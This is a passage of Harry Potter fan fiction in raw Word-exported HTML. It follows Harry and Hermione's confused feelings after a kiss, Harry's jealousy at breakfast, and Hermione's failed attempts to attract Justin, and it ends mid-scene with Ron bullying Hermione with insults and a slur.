it!!!&nbsp; Fine, just say I didn&#8217;t warn you. GO AWAY,\nLEAVE ME ALONE!!&nbsp; Geez you don&#8217;t have to\nget bitchy.&#8217;</i>&nbsp; And her thoughts\nstopped bothering her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Now all that was left was&#8212;oh man she was thinking about that\nblasted kiss again Hermione had to get her mind off of that kiss.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">Okay,\nokay think about Justin yeah, you need a way to get him to notice you tomorrow,\nyeah forget about Harry&#8217;</i> Hermione nodded.<i style="mso-bidi-font-style:\nnormal"> &#8216;Ugh why did I have to think of his name? Damn, damn, damn.&nbsp; </i>Hermione shook her head.&nbsp; She took a deep breath and finally after a\nfew moments she started drifting off to sleep thinking of Justin, she wondered\nif it would feel the same way kissing him.&nbsp;&nbsp;\nThere was only one way to find out, she would have to make a bigger\neffort tomorrow.&nbsp; Her mind faded and she\nwas entering the dream world.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry woke up early the next morning; he hurried through the\nshower and got into fresh clothing and his school robe.&nbsp; He stared at Hermione&#8217;s door wondering how\nshe was doing this morning.&nbsp; How would\nshe react to him now knowing that he had no control last night?&nbsp; He still felt extremely guilty over what\nhappened.&nbsp; Hopefully it was already long\nforgotten, hopefully.&nbsp; Harry didn&#8217;t want\nanything to seem out of the ordinary, he did not want to treat her any differently\nor for her to treat him any differently.&nbsp;\nAfter all last night it was just a kiss; he&#8217;d had plenty of those.&nbsp; &#8216;<i style="mso-bidi-font-style:normal">Why\nwas that one any different?&#8217;</i> His mind questioned.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Unconsciously he lifted his fingers to his lips, he could\nstill feel her there.&nbsp; The taste of her\nmouth was so sweet; she wasn&#8217;t even wearing any lip-gloss nor had anything\nsweet to eat. But her entire mouth and her lips had a flavor, one that he could\nonly describe as Hermione, <i style="mso-bidi-font-style:normal">&#8216;she should\nsell her essence she would make a fortune&#8217;</i>.&nbsp;\nHe shook his head of the thought, <i style="mso-bidi-font-style:normal">&#8216;what&#8217;s\nthe matter with you.&nbsp; Snap out of it. </i>&nbsp;<i style="mso-bidi-font-style:normal">That&#8217;s\nright it was nothing, its fine I was just frustrated from the other night when\nI got interrupted with Julie, yeah that was it&#8217;.</i>&nbsp; He really had no desire to kiss Hermione,\nonly to help her. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;Well she learned a\nlot then, for some reason he found himself smiling, she was sure a fast learner<i style="mso-bidi-font-style:normal">.&nbsp;\n&#8216;Stop smiling it was just frustration&#8217;</i> His mind shouted at him. Yes,\nit was simply frustration.&nbsp; That&#8217;s why he\nwas staring at the door holding himself back from breaking it down and rushing\nto her only to kiss her like that again.&nbsp;\n<i style="mso-bidi-font-style:normal">&#8216;No, no, no.&nbsp; Stop it!! No more of those thoughts.&nbsp; But you liked it, you wanted it.&nbsp; No I didn&#8217;t.&nbsp;\nYes you did and you know it.&nbsp; You\nhad no control because you wanted it so badly and so much, that you didn&#8217;t even\nhear her tell you to stop.&nbsp; That is so\nnot true.&nbsp; She liked it too.&nbsp; Oh yeah how do you figure?&nbsp; She kissed you back moron.&nbsp; Uh, it doesn&#8217;t matter I&#8217;m not going to think\nof this anymore.&nbsp; I have to help her with\nFinch-Fletchley.&#8217;</i> For some reason just the thought of that name made his\nstomach churn. <i style="mso-bidi-font-style:normal">&#8216;Ugh, what is that\nfeeling?&nbsp; Maybe I&#8217;ll just skip breakfast\nif I&#8217;m not feeling well.&nbsp; No go eat,\nyou&#8217;ll feel better.&nbsp; Okay.&#8217;&nbsp;</i> </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry knocked on Hermione&#8217;s door, &#8220;Hermione?&#8221; His voice\nsounded oddly high pitched and he coughed clearing his throat. &#8220;Hermione are\nyou ready to go down for breakfast?&#8221; He pressed his ear to the door and he\nheard shuffling around.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah just a second though.&#8221; He heard her muffled voice from\nthe other side.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Can I come in?&#8221; Harry asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Of course,&#8221; Hermione answered through the door.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry opened the door to her room and stepped inside, she\nwas waving her wand over the bed and the coverlet was gliding over the bed\nneatly as she was straightening it up.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You know they do have house elves for that sort of thing?&#8221;\nHarry pointed out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know that, but they do enough work as it is.&nbsp; They don&#8217;t need to pick up after me.&#8221;\nHermione replied as she fluffed her two remaining pillows and set them on her\nbed.&nbsp; She had a total of six pillows; she\nliked to be surrounded in a soft and warm protective shield to keep out the\ncold, cruel world.&nbsp; And her pillows\nseemed to do the trick.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;But Hermione it&#8217;s their job to pick up after you.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione finished with her bed and turned around with a very\nserious statement on her face.&nbsp; &#8220;Harry\nyou know what it&#8217;s like to pick up after people, it&#8217;s not fun is it?&#8221;\nHermione&#8217;s hands found her hips and she started in one of her long\nlectures.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry couldn&#8217;t hear a word she was saying, his eyes were\nfocused on her perfect pink lips, talking.&nbsp;\nThe tip of his tongue ran across his bottom lip, she just kept talking\nand talking.&nbsp; The mere movement of her\nmouth was sending chills up his spine.&nbsp;\nNot chills of fear but chills that made him want to feel her mouth on\nhis again; he even took a step forward, he now seemed out of control again. <i style="mso-bidi-font-style:normal">&#8216;Snap out of it, come on wake up.&nbsp; Oh but look at those perfect lips, just one\ntouch that&#8217;s all.&nbsp; No be a man, forget\nabout it you don&#8217;t want to kiss her again, think about what happened last\ntime.&nbsp; Does no control ring a bell? But\njust look at those full beautiful lips, so soft. So sweet.&nbsp; Get a hold of yourself, you don&#8217;t want&#8212;&#8217; </i>Harry\nwas shaken out of his thoughts when Hermione was calling his name.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry? Are you listening to me?&#8221; Hermione was irritated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Uh, yeah.&nbsp; Yes of\ncourse I was listening to you.&#8221; He fibbed.&nbsp;\n&#8220;And I really think you take this house elves thing a little too\nseriously.&nbsp; Next thing you know you&#8217;ll be\nstarting some organization like&#8230;&#8221; He thought a moment.&nbsp; &#8220;The Society for the Promotion of Elf\nWelfare? Which you could shorten to SPEW.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;SPEW?&#8221; Hermione scoffed, &#8220;That sounds like something I did\nafter I saw your ass the other night.&#8221; She smirked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh you know you liked it.&#8221; He returned her smirk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Ha, you think your ass is all that?&nbsp; Let me tell you. It&#8217;s not worth anything.&#8221;\nHermione said as she picked up her bag from on top of her trunk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I wouldn&#8217;t say that, you gave me a Knut for it.&#8221; He smiled\nsweetly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione shook her head and started towards the door that\nled into the common room.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;YES!!&#8221; He pumped his fist in the air like a crazy\nfool.&nbsp; &#8220;I won a round of wits with you,\nmy first one HA, HA, HA Take that!!&#8221; He&#8217;d never been happier.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione started laughing as she and Harry started towards\nthe Great Hall for breakfast, &#8220;Do you really spend most of your time trying to\nmatch wits with me, you couldn&#8217;t keep up.&nbsp;\nYour brain is far less developed than mine.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You&#8217;re brain isn&#8217;t the only thing that&#8217;s developed.&#8221; He\nwiggled his eyebrows.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Can&#8217;t you get your mind out of the gutter for two minutes?&#8221;\nHermione asked already knowing the answer.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;What do you think?&#8221; Harry said with an attractive grin. He\nwas so relived that not much had changed between the two of them, all because\nof that one kiss he had experienced with Hermione.&nbsp; She was still her same, good ole self.&nbsp; And that&#8217;s just what he wanted.&nbsp; <i style="mso-bidi-font-style:normal">&#8216;Are\nyou sure that&#8217;s what you want? Yes, that&#8217;s what I want.&nbsp; I don&#8217;t believe you.&#8217;</i> His head said to\nhim in a singsong like voice. <i style="mso-bidi-font-style:normal">&#8216;I don&#8217;t\nreally care&#8217;</i> Harry thought back in the same tone.&nbsp; He opened the door to the Great Hall and the\ntwo of them entered, going to their tables.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry sat his bag on the bench and sat down; he was across\nfrom Blaise as usual.&nbsp; &#8220;Morning.&#8221; He said\nthen reaching for the cup filled with juice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Blaise looked up at him with a smile, &#8220;You look like you had\na rough night?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Uh, yeah.&#8221; He scratched the back of his head.&nbsp; &#8220;I didn&#8217;t get much sleep. Too much on my mind\nI&#8217;m afraid.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Like what?&#8221; Blaise asked, genuinely concerned.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh it doesn&#8217;t matter, I&#8217;m pretty sure I have everything\nworked out.&#8221; Harry said with a smile, and he helped himself to a chocolate chip\nmuffin.&nbsp; Blaise started talking to him\nbut he was more interested in the muffin then to hear the latest gossip, it was\nusually about him anyway.&nbsp; He got pretty\ntired about hearing the same things day after day.&nbsp; He wondered if Hermione was one to gossip,\nand what would she say about him?&nbsp; He\nhoped whatever it was, that it was good.&nbsp;\nWhy did he even care about what Hermione&#8217;s opinion of himself was? It&#8217;s\nnot like he wanted to kiss her again.&nbsp;\nNah, of course not. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You do too want to kiss Hermione Granger.&#8221; Harry heard and\nhis head shot up looking right at Blaise.&nbsp;\n&#8220;What did you say?&#8221; a look of utter shock on his face. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Blaise was downright confused, &#8220;I said,&#8221; She leaned forward\non the table.&nbsp; &#8220;Did you hear?&nbsp; That boy from Ravenclaw, Hugh Dewtoo wants to\nkiss Harmony Ginger.&#8221;&nbsp; She eyed him\ncarefully, &#8220;What did you think I said?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Nothing, I&#8217;m just shocked.&#8221; Harry coughed, trying to cover\nup his uncomfortable feelings.&nbsp; &#8220;I&#8217;ve\njust assumed that Hugh was well gay.&#8221;&nbsp; He\nglanced around nervously.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh Harry, Hugh is not gay.&nbsp;\nFar from it.&#8221; Blaise gave off a soft laugh.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&nbsp;&nbsp; &#8220;Well you can never\ntell these days.&#8221; Harry said and he put some of the muffin into his mouth.&nbsp; With his other hand he ran his fingers\nthrough his unruly hair in frustration, without really realizing it he shifted\nhis gaze to the Gryffindor table.&nbsp; He\nspotted Hermione looking at that Colin Creevy, the boy just handed her a peach\nand she accepted it with a smile.&nbsp;\nAnother one of those vultures, Seamus tapped her on the shoulder and she\nturned her attention to him.&nbsp; Seamus with\nhis arm extended offered her a small collection of violets. &nbsp;Hermione took them with a polite smile.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione sighed. <i style="mso-bidi-font-style:normal">&#8216;I so\nwish they would stop doing this, but I don&#8217;t want to cause a riot like last\ntime.&nbsp; You got that right, just accept\nwhatever these low life scum boys want to give you and then be done with them.&nbsp; But I&#8217;m not a tease; it might make them think\nI like this sort of thing.&nbsp; Yeah well\nLavender loves this sort of attention, and do you know who&#8217;s crushing on her.&nbsp; The man of your dreams&#8230;Justin. You had better\nlearn to like this; it might be the one thing that gets him to notice you.&nbsp; Are you sure?&nbsp;\nTrust me Hermione trust me, I know what&#8217;s right and besides that Blaise\ngave you a few pointers, listen to her. She knows what goes.&nbsp; Okay then.&#8217; </i>Hermione accepted every\nlittle present that was offered to her with polite smiles.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry scoffed loudly, which caused Blaise to look up from\nher plate at him.&nbsp; &#8220;What&#8217;s the matter\nHarry?&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You don&#8217;t think she&#8217;s really falling for all that do you?&#8221;\nHarry said pointing towards the Gryffindor table with his palm extended.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Blaise looked in the direction of where Harry was\nlooking.&nbsp; &#8220;What do you mean?&#8221;&nbsp; She couldn&#8217;t really see what he was talking\nabout.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m talking about Hermione, look at that.&#8221; Harry barked.\n&#8220;Those guys are almost throwing themselves are her feet and she&#8217;s smiling and\nhaving a grand ole time.&#8221; His tone was bitter but he didn&#8217;t notice.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Blaise noticed and she smirked, &#8220;Well I told her to enjoy\nherself a little.&nbsp; It&#8217;s not everyday that\nsomeone who&#8217;s a zero goes to a ten in a matter of a few days.&nbsp; I think it&#8217;s a good experience for her.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Yeah, well I don&#8217;t think its right.&nbsp; Most of those guys, no practically all of\nthem are just...Well they are not right for her.&#8221; Harry glared down at his half\neaten breakfast and poked his fork brutally into the ham, almost as if he\nintended to kill it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh, and just who are you to judge who is right for her?&#8221;\nBlaise said crossing her arms on the table and leaning forward.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;ve been her friend for six and a half years, I think I&#8217;m\na pretty good judge of who would be right for Hermione.&#8221;&nbsp; He turned slightly; glaring at the Gryffindor\ntable sneering at Hermione&#8217;s now many admirers.&nbsp;\n&#8220;And it&#8217;s certainly not any of them.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry, if I didn&#8217;t know any better I would say that you\nwere jealous.&#8221; Blaise kept her smirk hidden this time.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I am not jealous Blaise,&#8221; he answered a little too\nquickly.&nbsp; Harry felt his stomach churn\nand his insides twisting into tight knots. &#8220;Not in the least.&#8221; Harry really\nhated seeing those other guys giving Hermione all that attention.&nbsp; For some reason it was really, really bugging\nhim.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Right,&#8221; Clear disbelief leapt from Blaise&#8217;s voice.&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I&#8217;m just thinking about her welfare, she&#8217;s supposed to be\ntrying to win Finch-Fletchley&#8217;s affections.&nbsp;\nThese others are just getting in the way, making it more complicated for\nher.&#8221;&nbsp; He said.&nbsp;&nbsp; &#8220;In fact I&#8217;ll make it really easy for\nher.&#8221;&nbsp;&nbsp; Harry stood and grabbed his bag.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Where are you going?&#8221; Blaise asked </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;We have Charms this morning; I&#8217;m going to get a head\nstart.&#8221; Harry swung his bag over his shoulder and started walking from the\nSlytherin table over towards the Gryffindor table.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Blaise now totally wondered what he was doing; this wasn&#8217;t\nlike him at all.&nbsp; She knew for a fact\nthat Harry never left food over on his plate, nor did he rush off when there\nwas at least twenty minutes before class started.&nbsp; She watched Harry as he finally reached the\nGryffindor table and rested his hand on Hermione&#8217;s shoulder.&nbsp; Blaise saw Hermione look up at him as he was\ntalking about something, she couldn&#8217;t quite make out the words.&nbsp; But Hermione nodded and stood from the table,\nshe too grabbed her bag and if Blaise weren&#8217;t paying attention, she would have\nmissed Harry reaching down and grabbing a hold of Hermione&#8217;s hand as he led her\nfrom the Great Hall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Blaise leaned back a little, putting her hand to her chin in\nthought.&nbsp; She started laughing to\nherself. &#8220;Well this is interesting.&#8221; Blaise said quietly and returned to her\nbreakfast.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Harry was pulling Hermione from the Great Hall.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Harry what&#8217;s up? You don&#8217;t need help with Charms, that&#8217;s\nyour second best subject.&#8221; Hermione pulled her hand from his.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I know, but you looked like you needed rescuing.&#8221; Harry\nsaid plainly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh thank God, I was going out of my mind in there.&#8221; She breathed\na sigh of relief.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;So you didn&#8217;t like all that?&#8221; He looked towards the Great\nHall doors as they continued walking away.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh of course not, a few days ago those boys didn&#8217;t even\nknow of my existence and now they are all over me like ants on honey.&#8221; She\nshook her head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well you are awfully sweet.&#8221; Harry said, <i style="mso-bidi-font-style:normal">&#8216;Why did I say that?&#8217;</i>&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">That was odd, <i style="mso-bidi-font-style:normal">&#8216;Why\nwould he say that?&#8217; </i>&nbsp;Hermione\nthought, oh well she shrugged and pushed it to the back of her mind. &#8220;It&#8217;s just\nthat Blaise said that I should enjoy this time, I don&#8217;t know why I listened to\nher.&#8221; Hermione shook her head.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well if you want my opinion, you should do what you\nwant.&nbsp; And not worry about Blaise.&nbsp; Blaise is kinda a flirty and well that&#8217;s just\nnot who you are.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione stopped, &#8220;What do you mean that&#8217;s not how I am?&#8221;\nHer eyes narrowed in suspicion, she felt kind of insulted; how dare he think\njust because she is a bookworm doesn&#8217;t mean she can&#8217;t be flirty as well.&nbsp; &#8220;I could be flirty if I wanted too.&#8221; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">That was the last thing he wanted, he did not want her being\nflirty.&nbsp; He could barely take what he saw\nin the Great Hall.&nbsp; But he felt that she\nwas insulted so he had better try to set it right. &#8220;I didn&#8217;t mean it like that;\nof course you can be flirty.&nbsp; But you\nreally should be yourself, don&#8217;t try to copy Blaise.&#8221;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;If you didn&#8217;t want me copying Blaise then why did you ask\nher to help me?&#8221; Hermione&#8217;s hands found her hips in irritation.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;I just wanted her to help you feel better about yourself,\nnot to be an exact copy of her. I certainly wouldn&#8217;t want that.&#8221;&nbsp; Harry paused realizing what he had said; &#8220;I\nmean one Blaise is already more than enough.&#8221; He added quickly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione laughed, &#8220;Well you certainly have a point there.&#8221;\nShe sighed, &#8220;Thanks for coming to my rescue and all.&nbsp; But I must get to History of Magic. I&#8217;ll see\nyou at lunch.&#8221; Hermione smiled and took off down the corridor.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">She saw Justin heading in her direction, so had to think of\nsomething quick.&nbsp; Her mind snapped and\nshe had just the thing.&nbsp; Hermione held\nher head down as she walked towards him, and just as planned she walked right\ninto him knocking them both to the ground.&nbsp;\nBoth Justin and Hermione looked at each other for a moment.&nbsp; But he immediately bent and started picking\nup his belongings from off the floor.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh my gosh, I am so sorry.&#8221; Justin said. &#8220;I wasn&#8217;t looking\nwhere I was going.&#8221;&nbsp; He started gathering\nup his book and papers that were everywhere.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Oh no, no it&#8217;s my fault. I should have paid more\nattention.&#8221; Hermione said as she helped him pick up his papers.&nbsp; She was handing to him, but he wasn&#8217;t looking\nat her.&nbsp; Justin was looking over her head\nat Lavender who was talking to her friends.&nbsp;\nHe didn&#8217;t even thank Hermione as he took his papers from her hand and\nstood up.&nbsp; Without so much as a backwards\nglance he headed in the direction of Lavender.&nbsp;\nHermione turned around a bit seeing Lavender, how pretty she looked in\nher robes of peach.&nbsp; Hermione sighed and\nstood up, collecting her bag and continued on down the corridor to her class.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n*&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Hermione tried several times that week to get Justin&#8217;s\nattention, but nothing was working.&nbsp; He\nwas a dense and dense could be.&nbsp;&nbsp;\nHermione had one more chance, she rushed up to Justin who was walking\nwith Draco from their Herbology class, and she had come from Care of Magical\nCreatures.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Excuse me but do you happen to know what time it is?&#8221;\nHermione asked while batting her eyes in a similar fashion to what Lavender\ndoes.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">Justin looked at his watch, &#8220;Uh yeah.&#8221; He lifted his head to\ntell her.&nbsp; &#8220;Um, are you okay, do you have\nsomething in your eye?&#8221; Justin asked clearly concerned that there might be\nsomething wrong.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;No.&#8221; She sighed quietly and she stopped looking\nridiculous.&nbsp; Hermione didn&#8217;t hear Justin\ntell her the time, she wasn&#8217;t interested.&nbsp;\nShe watched as Justin and Draco continue on walking towards the school\nfor dinner.&nbsp;&nbsp;&nbsp; Hermione felt awful,\nnothing was going right for her, absolutely nothing.&nbsp; Hermione headed in the direction of the Great\nHall when she heard a rude, arrogant voice behind her.&nbsp; It was none other than Ron Weasley.&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Well, well trying to get your claws into Finch-Fletchley I\nsee.&#8221; He chuckled.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;Leave me alone Weasel.&#8221; Hermione said. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">He quickly jumped in front of her stopping her in her\ntracks.&nbsp; &#8220;I don&#8217;t think so, this time\nthere is no Potter around here to protect you, I will say what I&#8217;ve been\nwanting to say.&nbsp; You have a habit of\npicking the wrong people to associate with.&nbsp;\nYou hang around with scum like that Slytherin Potter.&nbsp; Lavender is sexy and beautiful, nothing at\nall like you.&nbsp; You are just ugly, and\nnasty.&nbsp; One look at you and people might\nturn to stone.&nbsp; Even though you fixed\nyour hair, it still looks like shit.&nbsp; Ugh\nbrown, how common, how dull.&nbsp; Not to\nmention those eyes.&nbsp; Gah, stab me already,\nend my misery from looking at you.&nbsp;\nFinch-Fletchley sees the exact same thing I see. Someone should drown\nyou; the world would be a much better place without you in it. </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;You&#8217;re an asshole.&#8221; Hermione spat out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto;\ntext-indent:.25in">&#8220;And you&#8217;re just a Mudblood bitch,&#8221; He laughed. &#8220;No matter\nwhat you do to yourself, you will never be worth anything. You will always be a\nnobody, a worthless pile of hair and you probably have fleas as well. 